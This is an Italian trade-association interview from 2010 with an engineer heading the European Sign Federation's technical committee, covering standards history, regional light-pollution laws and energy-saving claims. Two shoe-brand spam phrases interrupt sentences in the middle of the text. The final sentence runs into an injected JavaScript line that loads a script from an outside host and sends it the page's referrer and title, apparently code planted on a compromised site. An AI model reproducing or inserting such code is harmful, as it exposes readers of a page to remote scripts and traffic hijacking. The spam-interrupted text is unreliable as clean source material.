ESF. Intervista a Fausto Martin, guida del Comitato Tecnico di European Sign Federation.

di Redazione AIFIL[IN]FORMA - 30 giugno 2010
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Fausto Martin, ingegnere elettrotecnico e membro del Comitato Tecnico Europeo, fa il punto insieme a noi circa il ruolo del Comitato Tecnico rispetto alle nuove sfide del mercato, le leggi in materia di inquinamento luminoso, le linee guida per il risparmio energetico. E ci svela anche, qualche piccolo mito da sfatare…

Fausto Martin, impegnato nel Comitato Tecnico Aifil da molti anni, è riuscito a portare l’Associazione Italiana al vertice del Comitato Tecnico della European Sign Federation (Esf), la Federazione europea dei fabbricanti di insegne luminose. In questa intervista, AIFIL[IN]FORMA vuole fare chiarezza circa il ruolo del Comitato Tecnico e il contributo di AIFIL alle tematiche che la Federazione sta affrontando, su argomenti di grande attualità come le proposte legislative per l’inquinamento luminoso, la creazione di strumenti di vera informazione circa il risparmio energetico e le soluzioni per affrontare queste, e altre tematiche di interesse per la categoria, a livello Europeo.

D. Innanzi tutto ci spieghi il ruolo del comitato Tecnico nella European Sign Federation…

R.Tra le prime iniziate della neonata EVL, come si chiamava allora, vi fu l’istituzione di un Gruppo Tecnico di Lavoro (TWG) sotto la guida esperta di Karl Kurz. Durante questo periodo presso il CENELEC di Bruxelles fu redatta la EN 50107 (norma europea per le installazioni di lampade a catodo freddo ed insegne al neon), per mezzo di una Task Force BT-TF 60-2 che era composta principalmente dai membri del medesimo TWG. Questo processo ha richiesto 8 anni di intense trattative e mediazioni tra i paesi partecipanti, roshe run flywire femmes sotto la guida di Peter Mason, presidente espresso dalla Federazione del Regno Unito.

D. Poi che accadde?

R. Nel 2002 l’Ing. Steegmans, della Federazione Belga subentrò a Mr. Kurz per un quinquennio di grandi sconvolgimenti economici e tecnici. L’attacco alle Torri Gemelle, crisi economica, nuovi media iniziano a farsi strada sul mercato (LED) sotto l’incessante evoluzione normativa, si pensi alle direttiva RAEE e ROHS, l’adeguamento della “vecchia” direttiva Bassa Tensione ed EMC.

D. Infine, per la prima volta, un italiano ai vertici del Comitato Tecnico Europeo…

R. Si, nel 2007 si svolge il meeting annuale in Scozia, Luc Steegmans si candida alla Presidenza della Federazione Europea; anni di apprezzato lavoro fanno si che i delegati ritengano maturi i tempi per aprire le porte della “stanza dei bottoni” anche ad AIFIL.

D. Quali sfide si parano di fronte alla European Sign Federation oggi?

R. Gli scenari adombrati nei primi anni del 21° Secolo si sono rivelati un trend di lungo periodo; la crisi perdura, la crescita professionale è una delle risposte che una Associazione Europea deve fornire in termini di valore aggiunto. roshe run hyp Oggi costruire un prodotto alla bell’e meglio non è la finalità principale. Le componenti immateriali sono preponderanti, si pensi alla Dichiarazione di Conformità, alla rispondenza alle prestazioni fotometriche richieste dalle Leggi Regionali in materia di inquinamento luminoso.

D. Ha toccato un tema d’attualità: le Leggi in materia di inquinamento luminoso…

R. Partiamo da un quadro frammentato: tre quarti delle Regioni italiane ha una propria legge in materia. Questo rende difficile un approccio unitario; da un lato si chiede l’apposizione della marcatura CE per la libera circolazione delle merci a livello Europeo, dall’altro ciascuna Regione ripristina regolamenti locali diversi. Per questo nasce  l’iniziativa di partecipare al simposio Europeo della IDA (International Dark Sky Association), rappresentata in Italia da Cielo Buio, per poter discutere con gli ispiratori delle leggi Regionali le esigenze anziché subirle come fatto fino ad ora.

D. Ed il risparmio energetico?

R. Questa è un’altra linea guida messa in atto dal Comitato Tecnico: la realizzazione di un nuovo sito che dia informazioni veritiere e non mera pubblicità per sfatare alcuni luoghi comuni creati dagli uffici marketing. Per esempio parlare di consumo anziché di efficienza. Una vettura parcheggiata, una lampada spenta, non consumano nulla. Un’automobile che percorre 50 km con un litro è efficiente, come una lampadina da 100 lumen watt. Oggi esistono dispositivi in grado di ridurre il flusso luminoso, per esempio, a fronte di una modesta riduzione della luce emessa, ma pochi ne sono a conoscenza.

D. Queste tematiche si possono affrontare a livello Europeo?

R. Certo, una delle prime iniziative che abbiamo posto in essere è la raccolta di tutta la letteratura prodotta dalle varie associazioni nazionali. Le barriere linguistiche sono, da sempre, un ostacolo; questo comportava che si mettesse in cantiere un progetto editoriale analogo a quanto già sviluppato in un altro Paese. Nel nuovo sito sarà possibile accedere ad una pagina che raccoglie l’ampia letteratura professionale di ciascun Paese membro. Alla fine, tradurre costa meno che rifare ex-novo, anche se si tratta di un semplice opuscolo.

D. La sua attività la porta spesso in giro per l’Europa. Come stanno gli altri Paesi?

R. Recentemente sono stato a Madrid, dove ASERLUZ (l’associazione spagnola) ha organizzato un seminario sulla Marcatura CE e sull’inquinamento luminoso. Madrid ha un nuovo piano che pone dei limiti alla luminanza. Nel corso del seminario sono emersi due fattori: i problemi, le esigenze, le norme, sono gli stessi a livello europeo.

D. Ed il secondo fattore?

R. Beh, calcoli e misure hanno dimostrato, tra la sorpresa generale, che le sorgenti puntiformi sono più abbaglianti di quelle a simmetria cilindrica. Questo era un risultato logico da attendersi ma che contrasta con il senso comune e con alcuni messaggi fuorvianti fatti trapelare ad arte.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

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